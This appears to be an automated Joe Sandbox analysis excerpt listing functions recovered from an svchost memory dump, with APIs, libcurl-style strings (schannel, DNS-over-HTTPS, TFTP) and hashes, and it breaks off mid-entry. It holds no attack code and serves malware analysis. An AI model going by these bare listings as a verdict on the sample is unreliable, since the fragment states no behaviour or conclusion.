Instruction Fuzzy Hash: 3BD19E7920868092FB749EA5C4943E9A7B0F741FC8FC84521DA6E476D9FB78CB48E350

Function 00000173D01974E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00000173D01974FC
CryptCreateHash.ADVAPI32 ref: 00000173D0197528
CryptReleaseContext.ADVAPI32 ref: 00000173D0197537

Strings

@, xrefs: 00000173D01974EC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Crypt$Context$AcquireCreateHashRelease
String ID: @
API String ID: 4045725610-2766056989
Opcode ID: 3888297001991cb91ed5e33a0340ce1c6b4659861168bb3409d085dce8243c24
Instruction ID: f8228d868209ad30440d2add5e8b061b05c7c787cb00f0fd52b906ae3cc296a6
Opcode Fuzzy Hash: 3888297001991cb91ed5e33a0340ce1c6b4659861168bb3409d085dce8243c24
Instruction Fuzzy Hash: 8BF062BAB1461483F7605B71E8417A7A3B0AB94F85F888010DE6C87A54FF3CC2959B04

Function 00000173D0181820 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00000173D018183C
CryptCreateHash.ADVAPI32 ref: 00000173D0181868
CryptReleaseContext.ADVAPI32 ref: 00000173D0181877

Strings

@, xrefs: 00000173D018182C

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Crypt$Context$AcquireCreateHashRelease
String ID: @
API String ID: 4045725610-2766056989
Opcode ID: 8f927874fc51e87bfacafe930be793d4c248da460ac4387e593e5e0d7d5bafbf
Instruction ID: c0c3007c4852e237e85896ef927b3f62184a317bdeb2718844ad9d28bc2a5e4d
Opcode Fuzzy Hash: 8f927874fc51e87bfacafe930be793d4c248da460ac4387e593e5e0d7d5bafbf
Instruction Fuzzy Hash: 47F0627AB1461583F7215B71E8417A7A3B1F795B88F844010DE6C47A54EB7CC2959B04

Function 00000173D01B2470 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 263encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32 ref: 00000173D01B259E
GetLastError.KERNEL32 ref: 00000173D01B25AC
CertCreateCertificateChainEngine.CRYPT32 ref: 00000173D01B2676
GetLastError.KERNEL32 ref: 00000173D01B2680

Part of subcall function 00000173D019ED70: GetLastError.KERNEL32 ref: 00000173D019ED92
Part of subcall function 00000173D019ED70: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019ED9A

CertGetCertificateChain.CRYPT32 ref: 00000173D01B2709
GetLastError.KERNEL32 ref: 00000173D01B2713

Part of subcall function 00000173D01B0070: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000173D01B2569), ref: 00000173D01B0154

CertFreeCertificateChainEngine.CRYPT32 ref: 00000173D01B2832
CertCloseStore.CRYPT32 ref: 00000173D01B2842
CertFreeCertificateChain.CRYPT32 ref: 00000173D01B2852
CertFreeCertificateContext.CRYPT32 ref: 00000173D01B2862

Strings

schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN, xrefs: 00000173D01B278F
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED, xrefs: 00000173D01B2777
P, xrefs: 00000173D01B266A
schannel: Failed to read remote certificate context: %s, xrefs: 00000173D01B2814
schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN, xrefs: 00000173D01B27CE
schannel: failed to create certificate chain engine: %s, xrefs: 00000173D01B269A
(memory blob), xrefs: 00000173D01B25F2
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT, xrefs: 00000173D01B27A6
schannel: CertGetCertificateChain error mask: 0x%08lx, xrefs: 00000173D01B27DC
schannel: CertGetCertificateChain failed: %s, xrefs: 00000173D01B272D
schannel: failed to create certificate store: %s, xrefs: 00000173D01B25C6
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00000173D01B2545
schannel: reusing certificate store from cache, xrefs: 00000173D01B2571
schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID, xrefs: 00000173D01B27BA

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: Cert$Certificate$ChainErrorLast$Free$EngineStore$CloseContextCreateOpen_errnomemcmp
String ID: (memory blob)$P$schannel: CertGetCertificateChain error mask: 0x%08lx$schannel: CertGetCertificateChain failed: %s$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_NOT_TIME_VALID$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_PARTIAL_CHAIN$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_REVOKED$schannel: CertGetCertificateChain trust error CERT_TRUST_IS_UNTRUSTED_ROOT$schannel: CertGetCertificateChain trust error CERT_TRUST_REVOCATION_STATUS_UNKNOWN$schannel: Failed to read remote certificate context: %s$schannel: failed to create certificate chain engine: %s$schannel: failed to create certificate store: %s$schannel: reusing certificate store from cache$schannel: this version of Windows is too old to support certificate verification via CA bundle file.
API String ID: 2715537422-1548139997
Opcode ID: d399bcd0cc52d605d7e31dceeb1133debc0e206549a3df09dba65a9132665656
Instruction ID: 1300279df47f6ec514f1811e4d1a2b60ea210d163443f2af8bbd63944e3d85ed
Opcode Fuzzy Hash: d399bcd0cc52d605d7e31dceeb1133debc0e206549a3df09dba65a9132665656
Instruction Fuzzy Hash: DFB16E7921875085EA329BE5E8503EEE3B1B746FC0F804016EE7E47B95EF68C645A740

Function 00000173D01AF4F0 Relevance: 37.1, APIs: 6, Strings: 15, Instructions: 334COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00000173D01AF9D4
memmove.VCRUNTIME140 ref: 00000173D01AF9E8

Strings

schannel: server indicated shutdown in a prior call, xrefs: 00000173D01AF587
schannel: server close notification received (close_notify), xrefs: 00000173D01AF899
schannel: remote party requests renegotiation, xrefs: 00000173D01AF7F6
schannel: SSL/TLS connection renegotiated, xrefs: 00000173D01AF86C
schannel: renegotiating SSL/TLS connection, xrefs: 00000173D01AF816
schannel: unable to re-allocate memory, xrefs: 00000173D01AF5E2, 00000173D01AF95D
schannel: failed to decrypt data, need more data, xrefs: 00000173D01AF921
schannel: recv returned CURLE_RECV_ERROR, xrefs: 00000173D01AF645
schannel: recv returned error %d, xrefs: 00000173D01AF653
schannel: failed to read data from server: %s, xrefs: 00000173D01AF941
schannel: cannot renegotiate, an error is pending, xrefs: 00000173D01AF979
schannel: renegotiation failed, xrefs: 00000173D01AF985
schannel: server closed abruptly (missing close_notify), xrefs: 00000173D01AF991
schannel: enough decrypted data is already available, xrefs: 00000173D01AF556
schannel: an unrecoverable error occurred in a prior call, xrefs: 00000173D01AF575

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memmove
String ID: schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: cannot renegotiate, an error is pending$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: recv returned CURLE_RECV_ERROR$schannel: recv returned error %d$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: server close notification received (close_notify)$schannel: server closed abruptly (missing close_notify)$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 2162964266-1798541782
Opcode ID: 9e8613e48d921a49cedfa7356a96f8517f371c7eaffba6172c96dda00a0db7ad
Instruction ID: 399fc137b6a116c5573936ede1e15b2897f74aa8e851e6c918488589e0d9cc9f
Opcode Fuzzy Hash: 9e8613e48d921a49cedfa7356a96f8517f371c7eaffba6172c96dda00a0db7ad
Instruction Fuzzy Hash: 7AE17C7A20875086EB70DFE6D4443D9B7B1F741FC8F804019EA6D67698EB78CA86E740

Function 00000173D0182670 Relevance: 33.5, APIs: 22, Instructions: 470COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D01826DF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182723

Part of subcall function 00000173D0182510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182547
Part of subcall function 00000173D0182510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182557
Part of subcall function 00000173D0182510: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D0182565
Part of subcall function 00000173D0182510: memset.VCRUNTIME140 ref: 00000173D018259B

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182CF6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182D08
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182D1F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182D31
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182D48
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000173D0168569), ref: 00000173D0182D5A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_strdup$mallocmemset
String ID:
API String ID: 1984507481-0
Opcode ID: d93b4b9006e4cf8a4b154c9350ebd256b071acccc7fa893b9b6c87d79be3329d
Instruction ID: 9bb72c8cdf0df52590556c6c74e23bd678e41632f20d91208ebf80c972334ead
Opcode Fuzzy Hash: d93b4b9006e4cf8a4b154c9350ebd256b071acccc7fa893b9b6c87d79be3329d
Instruction Fuzzy Hash: 1A22283A609B5092EB768FA5E5803A8B3B5F744FD4F944225CE6D07794EF38CA91E340

Function 00000173D01A2660 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 169stringCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00000173D01A26C1
memchr.VCRUNTIME140 ref: 00000173D01A26F7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D01A2772
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D01A27F9

Strings

got option=(%s) value=(%s), xrefs: 00000173D01A273C
requested, xrefs: 00000173D01A27B1
server requested blksize larger than allocated, xrefs: 00000173D01A2854
invalid tsize -:%s:- value in OACK packet, xrefs: 00000173D01A28D3
invalid blocksize value in OACK packet, xrefs: 00000173D01A28BA
blksize is larger than max supported, xrefs: 00000173D01A289D
blksize, xrefs: 00000173D01A2754
%s (%ld), xrefs: 00000173D01A2809, 00000173D01A285E
%s (%d) %s (%d), xrefs: 00000173D01A27C4
Malformed ACK packet, rejecting, xrefs: 00000173D01A28E6
%s (%d), xrefs: 00000173D01A2881, 00000173D01A28A4
blksize parsed from OACK, xrefs: 00000173D01A27AA
tsize, xrefs: 00000173D01A27DB
tsize parsed from OACK, xrefs: 00000173D01A2802
blksize is smaller than min supported, xrefs: 00000173D01A287A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memchrstrtol
String ID: %s (%d)$%s (%d) %s (%d)$%s (%ld)$Malformed ACK packet, rejecting$blksize$blksize is larger than max supported$blksize is smaller than min supported$blksize parsed from OACK$got option=(%s) value=(%s)$invalid blocksize value in OACK packet$invalid tsize -:%s:- value in OACK packet$requested$server requested blksize larger than allocated$tsize$tsize parsed from OACK
API String ID: 1626215102-360479797
Opcode ID: 571c7b5aa6929f808543d64fd2b5887140b4546232e75ae7bf2446e5d7cfa171
Instruction ID: c2f8a24d994ac6f36170f60eb8809005d3f7258a7cd29dff859fe161e888ffad
Opcode Fuzzy Hash: 571c7b5aa6929f808543d64fd2b5887140b4546232e75ae7bf2446e5d7cfa171
Instruction Fuzzy Hash: 56618EB834865091EA34DB9AE8447E9E7B0B741FD0FC44021ED2E57AA5EB7CC746E304

Function 00000173D01AB6F0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 249stringCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00000173D01AB733
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB799
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB7A4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB7AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB818
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB832
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB84C
strchr.VCRUNTIME140 ref: 00000173D01AB87B
strchr.VCRUNTIME140 ref: 00000173D01AB8B4
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D01AB8FE
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D01AB916
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D01AB91E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01AB94F

Part of subcall function 00000173D01AB6F0: strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00000173D01AB562
Part of subcall function 00000173D01AB6F0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00000173D01AB599
Part of subcall function 00000173D01AB6F0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00000173D01AB610

Strings

%ld, xrefs: 00000173D01AB957
0123456789abcdefABCDEF:., xrefs: 00000173D01AB554
/:#?!@{}[]\$'"^`*<>=;,+&()%, xrefs: 00000173D01AB2BB

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free$_errnostrchr$_strdupmemchrstrncmpstrspnstrtoul
String ID: /:#?!@{}[]\$'"^`*<>=;,+&()%$%ld$0123456789abcdefABCDEF:.
API String ID: 985972941-4268014273
Opcode ID: e3d73cfefcb2f60d8f79667ca9dc62befdb60d7681af33e1471cc1775cfbf69e
Instruction ID: d1cb9227cff8c8603de75d1a14029aefb1bdaa90738980459cfe2d90ab1946a3
Opcode Fuzzy Hash: e3d73cfefcb2f60d8f79667ca9dc62befdb60d7681af33e1471cc1775cfbf69e
Instruction Fuzzy Hash: B7A1743920D7C082EA759BA5D5C43E9A2B5F785FC0F940125DE6E57B92FF38CA42A300

Function 00000173D01666B0 Relevance: 28.4, APIs: 5, Strings: 11, Instructions: 380COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,000000FF,?,00000000,00000000), ref: 00000173D0166D32

Strings

unknown, xrefs: 00000173D0166826
%s%02x%02x, xrefs: 00000173D01669BE
[DoH] TTL: %u seconds, xrefs: 00000173D01668FD
bad error code, xrefs: 00000173D0166851
DoH: %s type %s for %s, xrefs: 00000173D016685F
CNAME: %s, xrefs: 00000173D0166A77
AAAA, xrefs: 00000173D016682F
[DoH] hostname: %s, xrefs: 00000173D01668E0
[DoH] AAAA: , xrefs: 00000173D0166966
Could not DoH-resolve: %s, xrefs: 00000173D016671B
[DoH] A: %u.%u.%u.%u, xrefs: 00000173D0166933

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID: %s%02x%02x$AAAA$CNAME: %s$Could not DoH-resolve: %s$DoH: %s type %s for %s$[DoH] A: %u.%u.%u.%u$[DoH] AAAA: $[DoH] TTL: %u seconds$[DoH] hostname: %s$bad error code$unknown
API String ID: 1294909896-228328110
Opcode ID: cae3ecc4de0a1b268117ea0853ca74b2cb80d8142f680d7d5b8044d2e1c96a63
Instruction ID: 8dfc86a13182e70348bbce11e025d3ecd3534f15ed5765d8104c7cb2675ac714
Opcode Fuzzy Hash: cae3ecc4de0a1b268117ea0853ca74b2cb80d8142f680d7d5b8044d2e1c96a63
Instruction Fuzzy Hash: 3D028B7A60868086EB748FA5E8803DEB7B0F745FD4FD4411ADAAD47B95EB38C641E700

Function 00000173D01AC700 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000173D01AC746
GetProcAddress.KERNEL32 ref: 00000173D01AC756
memset.VCRUNTIME140 ref: 00000173D01AC7D0
VerSetConditionMask.KERNEL32 ref: 00000173D01AC811
VerSetConditionMask.KERNEL32 ref: 00000173D01AC823
VerSetConditionMask.KERNEL32 ref: 00000173D01AC835
VerSetConditionMask.KERNEL32 ref: 00000173D01AC847
VerSetConditionMask.KERNEL32 ref: 00000173D01AC85C
RtlVerifyVersionInfo.NTDLL ref: 00000173D01AC87F
VerifyVersionInfoW.KERNEL32 ref: 00000173D01AC88A
VerSetConditionMask.KERNEL32 ref: 00000173D01AC8D7
RtlVerifyVersionInfo.NTDLL ref: 00000173D01AC8F6
VerifyVersionInfoW.KERNEL32 ref: 00000173D01AC901

Strings

RtlVerifyVersionInfo, xrefs: 00000173D01AC74F
HTTP, xrefs: 00000173D01AC702
ntdll, xrefs: 00000173D01AC73F

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion$AddressHandleModuleProcmemset
String ID: HTTP$RtlVerifyVersionInfo$ntdll
API String ID: 2720349688-1320951699
Opcode ID: d0e752bdb986d4987fb210704854cb6b8f50239dc797f64d43c63de54ecfa10d
Instruction ID: 1bfe422880e3ad81287b0ecf32038e0066ce3c5933396ed638b884a82a26d460
Opcode Fuzzy Hash: d0e752bdb986d4987fb210704854cb6b8f50239dc797f64d43c63de54ecfa10d
Instruction Fuzzy Hash: 4851CD3A20C25086F7759BE5E8547EAF2B0B782FC4F840019D96E57B94FB79C606EB00

Function 00000173D01A53C0 Relevance: 27.7, APIs: 22, Instructions: 161COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5441
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5465
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A548A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5530
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5544
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5560
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A55B0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A55C4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A55D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A55EC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5600
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5614
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5628
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A563C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5650
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5664
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5678
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A568C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A56A0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A56B4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A56D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A5700

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c2cf571b473b600d14f1cf2488f9b52d1e09685eed8be68ba074785879acab16
Instruction ID: 7c50610438670fc2d28e7da035e2b40c3330f488724b6a177ec1002caaec1ac1
Opcode Fuzzy Hash: c2cf571b473b600d14f1cf2488f9b52d1e09685eed8be68ba074785879acab16
Instruction Fuzzy Hash: 8D910039309A91A2E76C9BA1D6903EDE371F789FD0F800115EB7E43B51EF2492B29305

Function 00000173D0174440 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 296stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00000173D01744CA
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D01744EC
strchr.VCRUNTIME140(?), ref: 00000173D01745EB
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 00000173D0174611
strchr.VCRUNTIME140 ref: 00000173D017465C
memmove.VCRUNTIME140 ref: 00000173D01746BB

Strings

RESOLVE *:%d using wildcard, xrefs: 00000173D017486B
Couldn't parse CURLOPT_RESOLVE entry '%s', xrefs: 00000173D01748F6
RESOLVE %.*s:%d - old addresses discarded, xrefs: 00000173D01747A7
:%u, xrefs: 00000173D0174564, 00000173D017474B
Added %.*s:%d:%s to DNS cache%s, xrefs: 00000173D0174836
(non-permanent), xrefs: 00000173D0174828
Resolve address '%s' found illegal, xrefs: 00000173D01748E5
Bad syntax CURLOPT_RESOLVE removal entry '%s', xrefs: 00000173D0174516
+, xrefs: 00000173D017481C

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: strchr$strtoul$memmove
String ID: (non-permanent)$+$:%u$Added %.*s:%d:%s to DNS cache%s$Bad syntax CURLOPT_RESOLVE removal entry '%s'$Couldn't parse CURLOPT_RESOLVE entry '%s'$RESOLVE %.*s:%d - old addresses discarded$RESOLVE *:%d using wildcard$Resolve address '%s' found illegal
API String ID: 505971213-3374123344
Opcode ID: 40f4310ddc72b67cab9b23e124b017a3f2be94daedede76f050124a4f57fa09e
Instruction ID: 2f724330102d7276bffa040990d239a3760aee5715931605e104b3469aad4ad1
Opcode Fuzzy Hash: 40f4310ddc72b67cab9b23e124b017a3f2be94daedede76f050124a4f57fa09e
Instruction Fuzzy Hash: 51C1AE792086D486EB319B91E4103EAA7B1F786FD4FD84125EA6D07BD5FB38C645E300

Function 00000173D016A6C0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 336COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D016A6FA

Strings

k, xrefs: 00000173D016ACB1
application/octet-stream, xrefs: 00000173D016AC10

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
